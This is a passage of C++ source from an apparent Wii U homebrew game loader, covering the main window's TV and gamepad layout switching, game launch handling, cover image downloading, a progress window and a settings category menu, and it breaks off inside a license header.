currentDrcFrame = new GuiIconCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex)); break; } case VIEW_COVER_CAROUSEL: { currentDrcFrame = new GuiGameCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex)); break; } } } if(currentTvFrame != currentDrcFrame) { currentDrcFrame->setEffect(EFFECT_FADE, 10, 255); currentDrcFrame->setState(GuiElement::STATE_DISABLED); currentDrcFrame->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); } //! reconnect only to DRC game selection change currentTvFrame->gameSelectionChanged.disconnect(this); currentDrcFrame->gameSelectionChanged.disconnect(this); currentTvFrame->gameLaunchClicked.disconnect(this); currentDrcFrame->gameLaunchClicked.disconnect(this); if(currentTvFrame != currentDrcFrame) { currentTvFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange); currentTvFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu); } currentDrcFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange); currentDrcFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu); mainSwitchButtonFrame = new MainDrcButtonsFrame(width, height); mainSwitchButtonFrame->settingsButtonClicked.connect(this, &MainWindow::OnSettingsButtonClicked); mainSwitchButtonFrame->layoutSwitchClicked.connect(this, &MainWindow::OnLayoutSwitchClicked); mainSwitchButtonFrame->gameImageDownloadClicked.connect(this, &MainWindow::OnImageDownloadClicked); mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED); mainSwitchButtonFrame->setEffect(EFFECT_FADE, 10, 255); mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED); mainSwitchButtonFrame->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); appendDrc(currentDrcFrame); append(mainSwitchButtonFrame); } void MainWindow::OnOpenEffectFinish(GuiElement *element) { //! once the menu is open reset its state and allow it to be "clicked/hold" element->effectFinished.disconnect(this); element->clearState(GuiElement::STATE_DISABLED); } void MainWindow::OnCloseEffectFinish(GuiElement *element) { //! remove element from draw list and push to delete queue remove(element); AsyncDeleter::pushForDelete(element); } void MainWindow::OnSettingsButtonClicked(GuiElement *element) { CSettings::setValueAsU16(CSettings::GameStartIndex,currentDrcFrame->getSelectedGame()); //! disable element for triggering buttons again mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED); mainSwitchButtonFrame->setEffect(EFFECT_FADE, -10, 0); mainSwitchButtonFrame->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); mainSwitchButtonFrame = NULL; currentTvFrame->setState(GuiElement::STATE_DISABLED); currentTvFrame->setEffect(EFFECT_FADE, -10, 0); currentTvFrame->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); //! only fade out and delete the element once on equal screens if(currentTvFrame != currentDrcFrame) { currentDrcFrame->setState(GuiElement::STATE_DISABLED); currentDrcFrame->setEffect(EFFECT_FADE, -10, 0); currentDrcFrame->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); } currentTvFrame = NULL; currentDrcFrame = NULL; //! show equal screen on settings SettingsMenu * settings = new SettingsMenu(width, height); settings->setEffect(EFFECT_FADE, 10, 255); settings->setState(GuiElement::STATE_DISABLED); settings->settingsQuitClicked.connect(this, &MainWindow::OnSettingsQuit); settings->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); append(settings); } void MainWindow::OnSettingsQuit(GuiElement *element) { //! disable element for triggering buttons again element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); SetupMainView(); //! re-append the deleting element at the end of the draw list append(element); } void MainWindow::OnLayoutSwitchEffectFinish(GuiElement *element) { if(!currentTvFrame || !currentDrcFrame || !mainSwitchButtonFrame) return; element->effectFinished.disconnect(this); remove(currentDrcFrame); remove(currentTvFrame); GuiGameBrowser *tmpElement = currentDrcFrame; currentDrcFrame = currentTvFrame; currentTvFrame = tmpElement; appendTv(currentTvFrame); appendDrc(currentDrcFrame); //! re-append on top append(mainSwitchButtonFrame); currentTvFrame->resetState(); currentTvFrame->setEffect(EFFECT_FADE, 15, 255); currentDrcFrame->resetState(); currentDrcFrame->setEffect(EFFECT_FADE, 15, 255); mainSwitchButtonFrame->clearState(GuiElement::STATE_DISABLED); //! reconnect only to DRC game selection change currentTvFrame->gameSelectionChanged.disconnect(this); currentDrcFrame->gameSelectionChanged.disconnect(this); currentTvFrame->gameLaunchClicked.disconnect(this); currentDrcFrame->gameLaunchClicked.disconnect(this); currentTvFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange); currentTvFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu); currentDrcFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange); currentDrcFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu); u8 tmpMode = CSettings::getValueAsU8(CSettings::GameViewModeDrc); CSettings::setValueAsU8(CSettings::GameViewModeDrc, CSettings::getValueAsU8(CSettings::GameViewModeTv)); CSettings::setValueAsU8(CSettings::GameViewModeTv, tmpMode); } void MainWindow::OnLayoutSwitchClicked(GuiElement *element) { if(!currentTvFrame || !currentDrcFrame || !mainSwitchButtonFrame) return; if(currentTvFrame == currentDrcFrame) return; currentTvFrame->setState(GuiElement::STATE_DISABLED); currentTvFrame->setEffect(EFFECT_FADE, -15, 0); currentTvFrame->effectFinished.connect(this, &MainWindow::OnLayoutSwitchEffectFinish); currentDrcFrame->setState(GuiElement::STATE_DISABLED); currentDrcFrame->setEffect(EFFECT_FADE, -15, 0); mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED); } void MainWindow::OnGameLaunchMenu(GuiGameBrowser *element, int gameIdx) { if(GameList::instance()->size() == 0) return; if (launchingGame) return; launchingGame = true; mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED); currentTvFrame->setState(GuiElement::STATE_DISABLED); if(currentTvFrame != currentDrcFrame) { currentDrcFrame->setState(GuiElement::STATE_DISABLED); } if(CSettings::getValueAsU8(CSettings::ShowGameSettings) == SETTING_ON) { GameLauncherMenu * gameSettings = new GameLauncherMenu(gameIdx); gameSettings->setEffect(EFFECT_FADE, 10, 255); gameSettings->setState(GuiElement::STATE_DISABLED); gameSettings->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); gameSettings->gameLauncherMenuQuitClicked.connect(this, &MainWindow::OnGameLaunchMenuFinish); gameSettings->gameLauncherGetHeaderClicked.connect(this, &MainWindow::OnGameLaunchGetHeader); append(gameSettings); } else { OnGameLaunchMenuFinish(NULL, GameList::instance()->at(gameIdx), true); } } void MainWindow::OnGameLaunchGetHeader(GuiElement *element,int gameIdx, int next) { if(next == 1){ gameIdx += 1; }else if (next == -1){ gameIdx -= 1; } if(gameIdx >= GameList::instance()->size()){ gameIdx = 0; }else if(gameIdx < 0){ gameIdx = GameList::instance()->size() -1; } CSettings::setValueAsU16(CSettings::GameStartIndex,gameIdx); OnExternalGameSelectionChange(gameIdx); gameLauncherMenuNextClicked(element,gameIdx); } void MainWindow::OnGameLaunchMenuFinish(GuiElement *element,const discHeader *header, bool result) { mainSwitchButtonFrame->clearState(GuiElement::STATE_DISABLED); currentTvFrame->clearState(GuiElement::STATE_DISABLED); if(currentTvFrame != currentDrcFrame) { currentDrcFrame->clearState(GuiElement::STATE_DISABLED); } if(element) { element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -15, 0); element->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); } if(result == true){ OnGameLaunch(header); } else { launchingGame = false; } } void MainWindow::OnGameLaunch(const discHeader *gameHdr) { if(gameClickSound) gameClickSound->Play(); log_printf("Loading game %s\n", gameHdr->name.c_str()); GameLauncher *launcher = GameLauncher::loadGameToMemoryAsync(gameHdr); launcher->setEffect(EFFECT_FADE, 15, 255); launcher->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); launcher->asyncLoadFinished.connect(this, &MainWindow::OnGameLoadFinish); append(launcher); } void MainWindow::OnGameLoadFinish(GameLauncher * launcher, const discHeader *header, int result) { if(result == GameLauncher::SUCCESS) { if(CSettings::getValueAsBool(CSettings::GameLogServer)) { const char * ip = CSettings::getValueAsString(CSettings::GameLogServerIp).c_str(); if(strlen(ip) > 0 && strlen(ip) < 16){ memcpy(gServerIP,ip,strlen(ip)+1); } log_printf("FS log server on %s\n", CSettings::getValueAsString(CSettings::GameLogServerIp).c_str()); } else { gServerIP[0] = '\0'; log_printf("FS log server is off\n"); } GAME_LAUNCHED = 1; GAME_RPX_LOADED = 0; LOADIINE_MODE = CSettings::getValueAsU8(CSettings::GameLaunchMethod); gSettingLaunchPyGecko = CSettings::getValueAsU8(CSettings::LaunchPyGecko); gSettingPadconMode= CSettings::getValueAsU8(CSettings::PadconMode); //! load HID settings gHIDPADEnabled = CSettings::getValueAsU8(CSettings::HIDPadEnabled); gHIDPADRumble = CSettings::getValueAsU8(CSettings::HIDPadRumble); gHIDPADNetwork = CSettings::getValueAsU8(CSettings::HIDPadNetwork); gEnableDLC = 0; GameSettings gs; bool result = CSettingsGame::getInstance()->LoadGameSettings(header->id,gs); if(result){ switch(gs.launch_method){ case LOADIINE_MODE_DEFAULT: log_printf("Using launch method from Settings\n"); break; //leave it from settings case LOADIINE_MODE_MII_MAKER: log_printf("Using Mii Maker cfg\n"); LOADIINE_MODE = LOADIINE_MODE_MII_MAKER; break; case LOADIINE_MODE_SMASH_BROS: log_printf("Using Super Smash Bros cfg\n"); LOADIINE_MODE = LOADIINE_MODE_SMASH_BROS; break; case LOADIINE_MODE_KARAOKE: log_printf("Using KARAOKE BY U Joysound cfg\n"); LOADIINE_MODE = LOADIINE_MODE_KARAOKE; break; case LOADIINE_MODE_ART_ATELIER: log_printf("Using Art Academy Atelier cfg\n"); LOADIINE_MODE = LOADIINE_MODE_ART_ATELIER; break; default: log_printf("No valid value found. Using launch method from settings\n"); break; } gEnableDLC = gs.EnableDLC; } Application::instance()->quit(); } else { launchingGame = false; } mainSwitchButtonFrame->resetState(); if(currentTvFrame) currentTvFrame->resetState(); if(currentDrcFrame) currentDrcFrame->resetState(); launcher->setState(GuiElement::STATE_DISABLED); launcher->setEffect(EFFECT_FADE, -15, 0); launcher->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); } void MainWindow::OnGameSelectionChange(GuiGameBrowser *element, int selectedIdx) { if(!currentDrcFrame || !currentTvFrame) return; if(element == currentDrcFrame && currentDrcFrame != currentTvFrame) currentTvFrame->setSelectedGame(selectedIdx); else if(element == currentTvFrame && currentDrcFrame != currentTvFrame) currentDrcFrame->setSelectedGame(selectedIdx); } void MainWindow::OnExternalGameSelectionChange(int selectedIdx) { currentTvFrame->setSelectedGame(selectedIdx); if(currentDrcFrame != currentTvFrame) { currentDrcFrame->setSelectedGame(selectedIdx); } } void MainWindow::OnImageDownloadClicked(GuiElement *element) { mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED); if(currentTvFrame) currentTvFrame->setState(GuiElement::STATE_DISABLED); if(currentDrcFrame) currentDrcFrame->setState(GuiElement::STATE_DISABLED); GameImageDownloader *downloader = new GameImageDownloader(); downloader->setEffect(EFFECT_FADE, 15, 255); downloader->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish); downloader->asyncLoadFinished.connect(this, &MainWindow::OnImageDownloadFinish); downloader->startDownloading(); append(downloader); } void MainWindow::OnImageDownloadFinish(GameImageDownloader *downloader, int fileLeft) { mainSwitchButtonFrame->resetState(); if(currentTvFrame) currentTvFrame->resetState(); if(currentDrcFrame) currentDrcFrame->resetState(); downloader->setState(GuiElement::STATE_DISABLED); downloader->setEffect(EFFECT_FADE, -15, 0); downloader->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish); } ================================================ FILE: src/menu/MainWindow.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _MAIN_WINDOW_H_ #define _MAIN_WINDOW_H_ #include #include #include "gui/Gui.h" #include "gui/GuiGameBrowser.h" #include "game/GameList.h" #include "MainDrcButtonsFrame.h" #include "network/GameImageDownloader.h" #include "game/GameLauncher.h" #include "system/CMutex.h" class CVideo; class MainWindow : public sigslot::has_slots<> { public: MainWindow(int w, int h); virtual ~MainWindow(); void appendTv(GuiElement *e) { if(!e) return; removeTv(e); tvElements.push_back(e); } void appendDrc(GuiElement *e) { if(!e) return; removeDrc(e); drcElements.push_back(e); } void append(GuiElement *e) { appendTv(e); appendDrc(e); } void insertTv(u32 pos, GuiElement *e) { if(!e) return; removeTv(e); tvElements.insert(tvElements.begin() + pos, e); } void insertDrc(u32 pos, GuiElement *e) { if(!e) return; removeDrc(e); drcElements.insert(drcElements.begin() + pos, e); } void insert(u32 pos, GuiElement *e) { insertTv(pos, e); insertDrc(pos, e); } void removeTv(GuiElement *e) { for(u32 i = 0; i < tvElements.size(); ++i) { if(e == tvElements[i]) { tvElements.erase(tvElements.begin() + i); break; } } } void removeDrc(GuiElement *e) { for(u32 i = 0; i < drcElements.size(); ++i) { if(e == drcElements[i]) { drcElements.erase(drcElements.begin() + i); break; } } } void remove(GuiElement *e) { removeTv(e); removeDrc(e); } void removeAll() { tvElements.clear(); drcElements.clear(); } void drawDrc(CVideo *video); void drawTv(CVideo *video); void update(GuiController *controller); void updateEffects(); void lockGUI() { guiMutex.lock(); } void unlockGUI() { guiMutex.unlock(); } sigslot::signal2 gameLauncherMenuNextClicked; private: void SetupMainView(void); void OnOpenEffectFinish(GuiElement *element); void OnCloseEffectFinish(GuiElement *element); void OnLayoutSwitchClicked(GuiElement *element); void OnLayoutSwitchEffectFinish(GuiElement *element); void OnGameLaunchMenu(GuiGameBrowser *element, int gameIdx); void OnGameLaunchMenuFinish(GuiElement *element,const discHeader *header, bool result); void OnGameLaunchGetHeader(GuiElement *element,int gameIdx, int next); void OnGameLaunch(const discHeader *gameHdr); void OnGameSelectionChange(GuiGameBrowser *element, int selectedIdx); void OnExternalGameSelectionChange(int selectedIdx); void OnSettingsButtonClicked(GuiElement *element); void OnSettingsQuit(GuiElement *element); void OnGameLoadFinish(GameLauncher*, const discHeader *header, int result); void OnImageDownloadClicked(GuiElement *element); void OnImageDownloadFinish(GameImageDownloader *downloader, int fileLeft); int width, height; std::vector drcElements; std::vector tvElements; GuiSound *gameClickSound; MainDrcButtonsFrame *mainSwitchButtonFrame; GuiGameBrowser * currentTvFrame; GuiGameBrowser * currentDrcFrame; GuiImageData *pointerImgData[4]; GuiImage *pointerImg[4]; bool pointerValid[4]; bool launchingGame; CMutex guiMutex; }; #endif //_MAIN_WINDOW_H_ ================================================ FILE: src/menu/ProgressWindow.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "ProgressWindow.h" #include "video/CVideo.h" ProgressWindow::ProgressWindow(const std::string & title) : GuiFrame(0, 0) , bgImageData(Resources::GetImageData("progressWindow.png")) , bgImage(bgImageData) , progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255}) , progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255}) { width = bgImage.getWidth(); height = bgImage.getHeight(); append(&progressImageBlack); append(&progressImageColored); append(&bgImage); progressImageColored.setAlignment(ALIGN_TOP_LEFT); progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 0); progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 1); progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 2); progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 3); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(36); titleText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); titleText.setPosition(50, 0); titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); titleText.setText(title.c_str()); append(&titleText); progressImageColored.setParent(&progressImageBlack); titleText.setParent(&progressImageBlack); setProgress(0.0f); } ProgressWindow::~ProgressWindow() { Resources::RemoveImageData(bgImageData); } void ProgressWindow::setTitle(const std::string & title) { titleText.setText(title.c_str()); } void ProgressWindow::setProgress(f32 percent) { progressImageColored.setSize(percent * 0.01f * progressImageBlack.getWidth(), progressImageColored.getHeight()); } ================================================ FILE: src/menu/ProgressWindow.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _PROGRESS_WINDOW_H_ #define _PROGRESS_WINDOW_H_ #include "gui/Gui.h" class ProgressWindow : public GuiFrame, public sigslot::has_slots<> { public: ProgressWindow(const std::string & titleText); virtual ~ProgressWindow(); void setProgress(f32 percent); void setTitle(const std::string & title); private: GuiText titleText; GuiImageData *bgImageData; GuiImage bgImage; GuiImage progressImageBlack; GuiImage progressImageColored; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; }; #endif //_PROGRESS_WINDOW_H_ ================================================ FILE: src/menu/SettingsCategoryMenu.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "SettingsCategoryMenu.h" #include "Application.h" #include "settings/CSettings.h" #include "utils/StringTools.h" #include "KeyPadMenu.h" #include "ButtonChoiceMenu.h" #include "language/gettext.h" #define MAX_SETTINGS_PER_PAGE 3 SettingsCategoryMenu::SettingsCategoryMenu(int w, int h, const std::string & title, const SettingType * catSettings, int settingsCount) : GuiFrame(w, h) , categorySettings(catSettings) , categorySettingsCount(settingsCount) , categoryFrame(w, h) , scrollbar(h - 150) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , backImageData(Resources::GetImageData("backButton.png")) , backImage(backImageData) , backButton(backImage.getWidth(), backImage.getHeight()) , titleImageData(Resources::GetImageData("settingsTitle.png")) , titleImage(titleImageData) , settingImageData(Resources::GetImageData("settingButton.png")) , settingSelectedImageData(Resources::GetImageData("settingSelectedButton.png")) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) , buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true) , buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true) , DPADButtons(w,h) , updateButtons(false) , selectedButtonDPAD(-1) { currentSettingsIdx = 0; currentYOffset = 0; backButton.setImage(&backImage); backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT); backButton.clicked.connect(this, &SettingsCategoryMenu::OnBackButtonClick); backButton.setTrigger(&touchTrigger); backButton.setTrigger(&wpadTouchTrigger); backButton.setSoundClick(buttonClickSound); backButton.setEffectGrow(); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(46); titleText.setPosition(0, 10); titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); titleText.setText(title.c_str()); titleImage.setAlignment(ALIGN_MIDDLE | ALIGN_TOP); settings.resize(categorySettingsCount); for(int i = 0; i < categorySettingsCount; i++) { settings[i].settingImage = new GuiImage(settingImageData); settings[i].settingImageSelected = new GuiImage(settingSelectedImageData); settings[i].settingButton = new GuiButton(settingImageData->getWidth(), settingImageData->getHeight()); settings[i].settingLabel = new GuiText(tr(categorySettings[i].name), 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f)); settings[i].settingButton->setIconOver(settings[i].settingImageSelected); settings[i].settingButton->setImage(settings[i].settingImage); settings[i].settingButton->setLabel(settings[i].settingLabel); settings[i].settingButton->setPosition(0, 150 - (settings[i].settingImage->getHeight() + 30) * i); settings[i].settingButton->setTrigger(&touchTrigger); settings[i].settingButton->setTrigger(&wpadTouchTrigger); settings[i].settingButton->setEffectGrow(); settings[i].settingButton->setSoundClick(buttonClickSound); settings[i].settingButton->clicked.connect(this, &SettingsCategoryMenu::OnSettingButtonClick); categoryFrame.append(settings[i].settingButton); } if(categorySettingsCount > MAX_SETTINGS_PER_PAGE) { scrollbar.SetPageSize((settingImageData->getHeight() + 30) * (categorySettingsCount - MAX_SETTINGS_PER_PAGE)); scrollbar.SetEntrieCount((settingImageData->getHeight() + 30) * (categorySettingsCount - MAX_SETTINGS_PER_PAGE)); scrollbar.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); scrollbar.setPosition(500, -30); scrollbar.listChanged.connect(this, &SettingsCategoryMenu::OnScrollbarListChange); categoryFrame.append(&scrollbar); } // append on top categoryFrame.append(&backButton); categoryFrame.append(&titleImage); categoryFrame.append(&titleText); titleText.setParent(&titleImage); DPADButtons.setTrigger(&buttonBTrigger); DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonDownTrigger); DPADButtons.setTrigger(&buttonUpTrigger); DPADButtons.clicked.connect(this, &SettingsCategoryMenu::OnDPADClick); append(&DPADButtons); categoryFrame.append(&DPADButtons); append(&categoryFrame); } SettingsCategoryMenu::~SettingsCategoryMenu() { for(u32 i = 0; i < settings.size(); ++i) { delete settings[i].settingImage; delete settings[i].settingImageSelected; delete settings[i].settingButton; delete settings[i].settingLabel; } Resources::RemoveImageData(backImageData); Resources::RemoveImageData(titleImageData); Resources::RemoveImageData(settingImageData); Resources::RemoveImageData(settingSelectedImageData); Resources::RemoveSound(buttonClickSound); } void SettingsCategoryMenu::OnSettingButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < settings.size(); i++) // Touch overrides selection { if(button == settings[i].settingButton) { currentSettingsIdx = i; break; } } u32 i = currentSettingsIdx; GuiFrame *menu = NULL; switch(categorySettings[i].type) { default: return; case TypeIP: { if(CSettings::getDataType(categorySettings[i].index) != CSettings::TypeString) return; KeyPadMenu *keyMenu = new KeyPadMenu(width, height, tr(categorySettings[i].name), CSettings::getValueAsString(categorySettings[i].index)); keyMenu->settingsBackClicked.connect(this, &SettingsCategoryMenu::OnSubMenuCloseClicked); keyMenu->settingsOkClicked.connect(this, &SettingsCategoryMenu::OnKeyPadOkClicked); menu = keyMenu; break; } case Type2Buttons: case Type3Buttons: case Type4Buttons: { int buttonCount = Type2Buttons + (categorySettings[i].type - Type2Buttons + 1); int buttonSelected = 0; switch(CSettings::getDataType(categorySettings[i].index)) { default: return; case CSettings::TypeBool: buttonSelected = CSettings::getValueAsBool(categorySettings[i].index); break; case CSettings::TypeS8: buttonSelected = CSettings::getValueAsS8(categorySettings[i].index); break; case CSettings::TypeU8: buttonSelected = CSettings::getValueAsU8(categorySettings[i].index); break; case CSettings::TypeS16: buttonSelected = CSettings::getValueAsS16(categorySettings[i].index); break; case CSettings::TypeU16: buttonSelected = CSettings::getValueAsU16(categorySettings[i].index); break; case CSettings::TypeS32: buttonSelected = CSettings::getValueAsS32(categorySettings[i].index); break; case CSettings::TypeU32: buttonSelected = CSettings::getValueAsU32(categorySettings[i].index); break; } std::vector buttonNames; for(int n = 0; n < buttonCount; n++) buttonNames.push_back(tr(categorySettings[i].valueStrings[n].name)); ButtonChoiceMenu *buttonMenu = new ButtonChoiceMenu(width, height, tr(categorySettings[i].name), buttonNames, buttonSelected); buttonMenu->settingsBackClicked.connect(this, &SettingsCategoryMenu::OnSubMenuCloseClicked); buttonMenu->settingsOkClicked.connect(this, &SettingsCategoryMenu::OnButtonChoiceOkClicked); menu = buttonMenu; break; } } menu->setEffect(EFFECT_FADE, 10, 255); menu->setState(STATE_DISABLED); menu->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuOpenEffectFinish); append(menu); //! disable all current elements and fade them out with fading in new menu categoryFrame.setState(STATE_DISABLED); categoryFrame.setEffect(EFFECT_FADE, -10, 0); } void SettingsCategoryMenu::OnButtonChoiceOkClicked(GuiElement *element, int selectedButton) { //! disable element for triggering buttons again element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuCloseEffectFinish); if(selectedButton >= 0) { int value = categorySettings[currentSettingsIdx].valueStrings[selectedButton].value; switch(CSettings::getDataType(categorySettings[currentSettingsIdx].index)) { default: return; case CSettings::TypeBool: CSettings::setValueAsBool(categorySettings[currentSettingsIdx].index, value); break; case CSettings::TypeS8: CSettings::setValueAsS8(categorySettings[currentSettingsIdx].index, value); break; case CSettings::TypeU8: CSettings::setValueAsU8(categorySettings[currentSettingsIdx].index, value); break; case CSettings::TypeS16: CSettings::setValueAsS16(categorySettings[currentSettingsIdx].index, value); break; case CSettings::TypeU16: CSettings::setValueAsU16(categorySettings[currentSettingsIdx].index, value); break; case CSettings::TypeS32: CSettings::setValueAsS32(categorySettings[currentSettingsIdx].index, value); break; case CSettings::TypeU32: CSettings::setValueAsU32(categorySettings[currentSettingsIdx].index, value); break; } } //! fade in category selection categoryFrame.setEffect(EFFECT_FADE, 10, 255); append(&categoryFrame); } void SettingsCategoryMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } OnSettingButtonClick(button,controller,trigger); } else if(trigger == &buttonBTrigger) { OnBackButtonClick(button,controller,trigger); } else if(trigger == &buttonUpTrigger || trigger == &buttonDownTrigger) { if(selectedButtonDPAD == -1) { selectedButtonDPAD = currentSettingsIdx; } else { if(trigger == &buttonUpTrigger) { if(currentSettingsIdx > 0){ currentSettingsIdx--; } } else if(trigger == &buttonDownTrigger){ if(currentSettingsIdx < categorySettingsCount-1){ currentSettingsIdx++; } } selectedButtonDPAD = currentSettingsIdx; } scrollbar.SetSelectedItem((settingImageData->getHeight() + 30) * selectedButtonDPAD); updateButtons = true; } } void SettingsCategoryMenu::OnScrollbarListChange(s32 selectItem, s32 pageIndex) { currentYOffset = selectItem + pageIndex; for(int i = 0; i < categorySettingsCount; i++) { settings[i].settingButton->setPosition(0, 150 - (settings[i].settingImage->getHeight() + 30) * i + currentYOffset); } } void SettingsCategoryMenu::OnKeyPadOkClicked(GuiElement *element, const std::string & newValue) { //! disable element for triggering buttons again element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuCloseEffectFinish); CSettings::setValueAsString(categorySettings[currentSettingsIdx].index, newValue); //! fade in category selection categoryFrame.setEffect(EFFECT_FADE, 10, 255); append(&categoryFrame); } void SettingsCategoryMenu::OnSubMenuCloseClicked(GuiElement *element) { //! disable element for triggering buttons again element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuCloseEffectFinish); //! fade in category selection categoryFrame.setEffect(EFFECT_FADE, 10, 255); append(&categoryFrame); } void SettingsCategoryMenu::OnSubMenuOpenEffectFinish(GuiElement *element) { //! make element clickable again element->clearState(GuiElement::STATE_DISABLED); element->effectFinished.disconnect(this); //! remove category selection from settings remove(&categoryFrame); } void SettingsCategoryMenu::OnSubMenuCloseEffectFinish(GuiElement *element) { remove(element); AsyncDeleter::pushForDelete(element); //! enable all elements again categoryFrame.clearState(GuiElement::STATE_DISABLED); } void SettingsCategoryMenu::update(GuiController *c) { if(updateButtons) { for(int i = 0; i < categorySettingsCount; i++) { if(i == selectedButtonDPAD) { settings[i].settingButton->setState(STATE_SELECTED); } else { settings[i].settingButton->clearState(STATE_SELECTED); } } updateButtons = false; } GuiFrame::update(c); } ================================================ FILE: src/menu/SettingsCategoryMenu.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free 